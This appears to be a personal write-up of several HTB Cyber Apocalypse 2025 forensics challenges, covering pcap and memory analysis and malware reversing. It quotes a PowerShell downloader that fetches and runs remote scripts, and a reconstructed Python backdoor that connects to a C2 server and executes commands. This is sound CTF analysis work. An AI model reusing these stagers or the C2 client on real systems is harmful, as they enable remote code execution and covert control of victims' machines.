Back to posts
HTB Cyber Apocalypse CTF 2025: Tales from Eldoria - Journal
ForensicsMediumpowershellvolatilitywiresharkdnspywriteup

HTB Cyber Apocalypse CTF 2025: Tales from Eldoria - Journal

h26v
27/03/2025
15 min read

Thorin’s Amulet - Very Easy

image

This challenge give me a .ps1 file with the following content

powershell
function qt4PO { if ($env:COMPUTERNAME -ne "WORKSTATION-DM-0043") { exit } powershell.exe -NoProfile -NonInteractive -EncodedCommand "SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8va29ycC5odGIvdXBkYXRlIik=" } qt4PO

The comment at the end is the string I decoded from the Base64 string in the code above. I got stuck here for quite a while because some network issues prevented me from opening the docker to replace the link above to get next payload. Although I joined this ctf quite early

powershell
function aqFVaq { Invoke-WebRequest -Uri "http://korp.htb/a541a" -Headers @{"X-ST4G3R-KEY"="5337d322906ff18afedc1edc191d325d"} -Method GET -OutFile a541a.ps1 powershell.exe -exec Bypass -File "a541a.ps1" } aqFVaq

Let write a simple script by Python to make a same request for get this file (or just delete exec line 🤡)

Code:

python
import requests def make_request(options): url = f"http://{options['hostname']}{options['path']}" response = requests.request( method=options['method'], url=url, headers=options.get('headers', {}), data=options.get('body', None) ) return { 'statusCode': response.status_code, 'headers': dict(response.headers), 'body': response.text } def main(): try: response = make_request({ 'hostname': '83.136.250.101:50730', 'path': '/a541a', 'method': 'GET', 'headers': { 'X-ST4G3R-KEY': '5337d322906ff18afedc1edc191d325d' } }) # print('Status:', response['statusCode']) # print('Headers:', response['headers']) print('Body:', response['body']) except Exception as error: print('Error:', str(error)) if __name__ == "__main__": main()

Alright we have a next payload here. At first glance we see that we just need to change the exec function to echo and powershell will do the rest for us.

powershell
$a35 = "4854427b37683052314e5f4834355f346c573459355f3833336e5f344e5f39723334375f314e56336e3730727d" echo (($a35-split"(..)"|?{$_}|%{[char][convert]::ToInt16($_,16)}) -join "")

image

Fact: In the midnight, when I was so helpless with ISP, my brother still sent me pictures of his wife and advised me to skip school to do ctf 💀


Slient Trap - Easy

image We have a pcap file, use WireShark to analyse it or you can open YouTube, it can't help you solve this challenge but watching video is ok image

Q1: What is the subject of the first email that the victim opened and replied to? image

Q2: On what date and time was the suspicious email sent? (Format: YYYY-MM-DD_HH:MM) (for example: 1945-04-30_12:34) image image image image

Q4: What credentials were used to log into the attacker's mailbox? (Format: username:password) image

Just dump when you see a lot of http packet 🫣 image

Locked archive? John? Nah, you can run but maybe by the time rockyou2077 exists it will probably work. Look around these packet you will see password image

image

Q3: What is the MD5 hash of the malware file? image image

After going through all the functions, I noticed the following 3 sus functions

image

At the xor function, we found the key image

At the Encrypt function, this performs RC4 encryption. image

Based on what we found, the program performed Base64 and RC4 encoding before sending something. Below is the script to decode the packets sent that Wireshark captured.

python
import base64 from Crypto.Cipher import ARC4 key = bytes([ 168, 115, 174, 213, 168, 222, 72, 36, 91, 209, 242, 128, 69, 99, 195, 164, 238, 182, 67, 92, 7, 121, 164, 86, 121, 10, 93, 4, 140, 111, 248, 44, 30, 94, 48, 54, 45, 100, 184, 54, 28, 82, 201, 188, 203, 150, 123, 163, 229, 138, 177, 51, 164, 232, 86, 154, 179, 143, 144, 22, 134, 12, 40, 243, 55, 2, 73, 103, 99, 243, 236, 119, 9, 120, 247, 25, 132, 137, 67, 66, 111, 240, 108, 86, 85, 63, 44, 49, 241, 6, 3, 170, 131, 150, 53, 49, 126, 72, 60, 36, 144, 248, 55, 10, 241, 208, 163, 217, 49, 154, 206, 227, 25, 99, 18, 144, 134, 169, 237, 100, 117, 22, 11, 150, 157, 230, 173, 38, 72, 99, 129, 30, 220, 112, 226, 56, 16, 114, 133, 22, 96, 1, 90, 72, 162, 38, 143, 186, 35, 142, 128, 234, 196, 239, 134, 178, 205, 229, 121, 225, 246, 232, 205, 236, 254, 152, 145, 98, 126, 29, 217, 74, 177, 142, 19, 190, 182, 151, 233, 157, 76, 74, 104, 155, 79, 115, 5, 18, 204, 65, 254, 204, 118, 71, 92, 33, 58, 112, 206, 151, 103, 179, 24, 164, 219, 98, 81, 6, 241, 100, 228, 190, 96, 140, 128, 1, 161, 246, 236, 25, 62, 100, 87, 145, 185, 45, 61, 143, 52, 8, 227, 32, 233, 37, 183, 101, 89, 24, 125, 203, 227, 9, 146, 156, 208, 206, 194, 134, 194, 23, 233, 100, 38, 158, 58, 159 ]) def decrypt_base64_rc4(encoded_str, key): decoded_data = base64.b64decode(encoded_str) cipher = ARC4.new(key) decrypted_data = cipher.decrypt(decoded_data) return decrypted_data encoded_str = "VGiPTdHXQGP876EbMX2FJhm3ZazpvA8aO8jT1uC8xPhDZq/Np5oZQnHUpKxc36FHBznusaFRsSPtnJzlC4qyGNxcWMCIs1qdVzygFbDj0se4vntsvpU9rKvQPLcPERIjLB36+ws5PVmzVsnuxNmgUPegSj+VPrRfrcHkaE0VL2hOwFIfT8iFNsaVDmnmTwc4DwNxqVqvTfOSr5YCFzLYZhlGMKbBYwhRks/IUuS31pSyoY02zA2T/8MtRORCihusuiBB6lfwkOSDyvxAAS2eTNoqirpJX4oJpFo3HRzFiGt7Tf/hYDvgs4HhXNNUHiBTgR/ckAwJHX0PoBDbTYvxQCtWNytjzQFjF8ir6ihZqFEEUibY3Enkx73tO7zgG5MDXHNRxF6dk7NdM6hcR3RNywIGvr09k/HumgOhs6MgvrHuNauqVWR5t0N52Pf21A6gTNGVtkRfBdnH/vMwOY7egIIxRNR7BlDnaeBlOfmE4aPu5C7BjLhQkwQUcC2mtMa0Sy7vtm+oqIn5po/BFqKsfdreOrYrX3XZ+98F1KC+RVKLPH9pBKd0kH9jHbAMY19YPKl5dok4ls491gXmpv+tb9aPq6PAPkHtAj0ftml7fg==" decrypted_data = decrypt_base64_rc4(encoded_str, key) print(decrypted_data)

Q5: What is the name of the task scheduled by the attacker? image

Q6: What is the API key leaked from the highly valuable file discovered by the attacker? image

W bquaman image

After-contest

Stealth Invasion - Easy

image Q1: What is the PID of the Original (First) Google Chrome process

ps
vol.py -f '/home/kali/Desktop/memdump.elf' windows.pslist

image

Q2: What is the only Folder on the Desktop

ps
vol.py -f '/home/kali/Desktop/memdump.elf' windows.filescan | grep "Desktop"

image Q3: What is the Extention's ID (ex: hlkenndednhfkekhgcdicdfddnkalmdm)

ps
vol.py -f '/home/kali/Desktop/memdump.elf' windows.filescan | rg -Fi "\\Default\\Local Extension Settings\\"

image

Q4: After examining the malicious extention's code, what is the log filename in which the data is stored image

Q5: What is the URL the user navigated to image Q6: What is the password of selene@rangers.eldoria.com image

Cave Expedition - Medium

image image image image image image image

ToolPie - Medium

image Q1: What is the IP address responsible for compromising the website?

image Q2: What is the name of the endpoint exploited by the attacker? image Q3: What is the name of the obfuscation tool used by the attacker image

python
import bz2 import marshal decompressed_data = bz2.decompress( b'BZh91AY&SY\x8d*w\x00\x00\n\xbb\x7f\xff\xff\xff\xff\xff...' ) code_object = marshal.loads(decompressed_data) print(code_object.co_consts)

image

python
import bz2 import dis compressed_data = b'''BZh91AY&SY\x8d*w\x00\x00\n\xbb\x7f\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf...''' code = bz2.decompress(compressed_data) open('dis.txt','w').write(dis.dis(code))

image

python
import os import socket import threading from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad def enc_mes(message, key): """Encrypt message using AES""" cipher = AES.new(key, AES.MODE_CBC) iv = cipher.iv encrypted = cipher.encrypt(pad(message.encode(), 16)) return iv + encrypted def dec_file_mes(encrypted_data, key): """Decrypt file message""" iv = encrypted_data[:16] encrypted = encrypted_data[16:] cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = unpad(cipher.decrypt(encrypted), 16) return decrypted def dec_mes(encrypted_data, key): """Decrypt message""" iv = encrypted_data[:16] encrypted = encrypted_data[16:] cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = unpad(cipher.decrypt(encrypted), 16) return decrypted.decode() def receive_file(conn, key): """Receive and decrypt file""" try: # Receive file data file_data = b"" while True: chunk = conn.recv(4096) if b"<SEPARATOR>" in chunk: file_data += chunk.split(b"<SEPARATOR>")[0] break file_data += chunk # Decrypt file decrypted_file = dec_file_mes(file_data, key) return decrypted_file except Exception as e: return None def receive(conn, key): """Main receive function""" try: while True: # Receive command data = conn.recv(4096) if not data: break # Decrypt command command = dec_mes(data, key) if command == "whoami": # Execute whoami command result = os.popen("whoami").read() encrypted_result = enc_mes(result, key) conn.send(encrypted_result) # Handle other commands... except Exception as e: conn.close() def main(): """Main function""" # Server configuration HOST = "13.61.7.218" PORT = 55155 # Connect to C&C server try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((HOST, PORT)) # Generate or receive encryption key key = b"your_16_byte_key" # This would be dynamically generated # Start receiving commands receive_thread = threading.Thread(target=receive, args=(sock, key)) receive_thread.start() except Exception as e: pass if __name__ == "__main__": main()